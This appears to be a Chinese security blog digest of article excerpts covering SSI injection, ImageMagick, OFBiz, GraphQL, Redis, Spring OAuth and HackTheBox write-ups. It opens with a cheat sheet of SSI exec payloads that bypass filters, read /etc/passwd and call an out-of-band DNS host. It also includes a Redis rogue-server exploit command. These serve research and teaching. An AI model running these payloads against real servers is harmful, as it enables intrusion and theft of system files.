安全研究与工程实践

0x00 速查表 关键词exec、cmd不区分大小写，可考虑大小写组合绕过 "-->'-->`--><!--#set var="wyk" value="vxjn0kj8s5"--><!--#set var="y0m" value="xzlp2mlau7"--><!--#echo var="wyk"--><!--#echo var="y0m"--><!--#eXEc cMd="nslookup -q=cname vul.ssi.0yuj7c.ceye.io" --> "-->'-->`--><!--#set var="wyk" value="vxjn0kj8s5"--><!--#set var="y0m" value="xzlp2mlau7"--><!--#echo var="wyk"--><!--#echo var="y0m"--><!--#eXEc cMd="cat /etc/passwd" --> 常用命令 # General PoC <!--#eXEc cMd="ping -c 4 127.0.0.1|| ping -n 4 127.0.0.1 " --> # Linux <!--#eXEc cMd="cat /etc/passwd" --> <!--#Exec cmD="ls" --> <!--#eXEc cMd="sleep 5" --> # windows <!--#eXEc cMd="dir" --> 0x01 概念介绍 以下内容整理自Apache httpd tutorial[1]，灰色部分可以不看（TL;DR）： ...

0x00 背景 ImageMagick是一个 Web 服务常用来处理图像的包，在处理用户提交的图像时存在多个漏洞，有CVE-2016-3714、CVE-2016-3715、CVE-2016-3716、CVE-2016-3717，其中最严重的就是CVE-2016-3714，此漏洞可能会导致远程代码执行 (RCE)。 ...

0x01 漏洞背景 Apache OFBiz是一个非常著名的电子商务平台，是一个非常著名的开源项目，提供了创建基于最新J2EE/XML规范和技术标准，构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类WEB应用系统的框架。 OFBiz最主要的特点是OFBiz提供了一整套的开发基于Java的web应用程序的组件和工具。包括实体引擎, 服务引擎, 消息引擎, 工作流引擎, 规则引擎等。默认可使用用户名：admin、密码：ofbiz登录 ...

信息收集 Nmap Nmap scan report for Monitors.HTB (10.10.10.238) Host is up (0.30s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 ba:cc:cd:81:fc:91:55:f3:f6:a9:1f:4e:e8:be:e5:2e (RSA) | 256 69:43:37:6a:18:09:f5:e7:7a:67:b8:18:11:ea:d7:65 (ECDSA) |_ 256 5d:5e:3f:67:ef:7d:76:23:15:11:4b:53:f8:41:3a:94 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-generator: WordPress 5.5.1 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Welcome to Monitor &#8211; Taking hardware monitoring seriously Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel WordPress version 5.5.1，不允许注册 ...

入口 Nmap http://10.10.10.220:5080/users/sign_in #GitLab Community Edition 11.4.7 (RCE) 如何获取Gitlab版本呢？——根据https://stackoverflow.com/questions/21068773/how-to-check-the-version-of-gitlab，可知 注册用户、上去看到版本 搜索之，有exp https://github.com/ctrlsam/GitLab-11.4.7-RCE/blob/master/exploit.py 顺利拿到git用户shell 提权 version: '2.4' services: web: image: 'gitlab/gitlab-ce:11.4.7-ce.0' restart: always hostname: 'gitlab.example.com' environment: GITLAB_OMNIBUS_CONFIG: | external_url 'http://172.19.0.2' redis['bind']='127.0.0.1' redis['port']=6379 gitlab_rails['initial_root_password']=File.read('/root_pass') networks: gitlab: ipv4_address: 172.19.0.2 ports: - '5080:80' #- '127.0.0.1:5080:80' #- '127.0.0.1:50443:443' #- '127.0.0.1:5022:22' volumes: - './srv/gitlab/config:/etc/gitlab' - './srv/gitlab/logs:/var/log/gitlab' - './srv/gitlab/data:/var/opt/gitlab' - './root_pass:/root_pass' privileged: true restart: unless-stopped #mem_limit: 1024m networks: gitlab: driver: bridge ipam: config: - subnet: 172.19.0.0/16 跟进 ...

0x00 背景 首先介绍一下：什么是GraphQL，参考这篇文章即可 See:https://zhuanlan.zhihu.com/p/124019191、 客户端首先与GraphQL进行交互，后者又与任意代码进行交互，并最终结束与数据库的对话。描述这种情况的图是： ...

# Redis <= 5.0.5 python redis-rogue-server.py --rhost [redis] --rport=6379 --lhost [vps] --lport 443 redis-rogue-server_poison.zip 一、前言 环境搭建 使用docker搭建好环境 docker pull damonevking/redis5.0 docker run -p 6379:6379 -d damonevking/redis5.0 redis-server 正常使用主从功能 Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中，当读写体量比较大的时候，服务端就很难承受。为了应对这种情况，Redis就提供了主从模式，主从模式就是指使用一个redis实例作为主机，其他实例都作为备份机，其中主机和从机数据相同，而从机只负责读，主机只负责写，通过读写分离可以大幅度减轻流量的压力，算是一种通过牺牲空间来换取效率的缓解方式。 ...

0x01 背景 Spring Security OAuth是为Spring框架提供安全认证支持的一个模块，在7月5日其维护者发布了这样一个升级公告，主要说明在用户使用Whitelabel views来处理错误时，攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。漏洞的发现者在10月13日公开了该漏洞的挖掘记录。 SpEL表达式注入！ （1）受影响版本 org.springframework.security.oauth - spring-security-oauth2 2.0.0 to 2.0.9 1.0.0 to 1.0.5 到maven仓库看了看，发现2.0.X是2016年2月发的包，也就是说发布后半年左右被挖出来有漏洞。从这一点，我们也能得出一个结论：黑客并不是时时刻刻在关注官方更新，也就是说：真实世界的0day漏洞，总是有机会被你挖到的。 而1.X是全系有漏洞。 ...

直接看PDF就好。 【翻译】OWASP_NodeJS安全.pdf

本文首发投稿于阿里云先知社区某运维系统的代码审计笔记（Django+MongoDB+Redis），转载请注明出处。 这套系统，是在某次行动的时候遇到的，当时是通过弱密码+后台命令注入来实现getshell。 后续觉得还蛮有意思，抽个周六审计了下，却发现在某些情况下居然可以直接前台RCE。。。 ...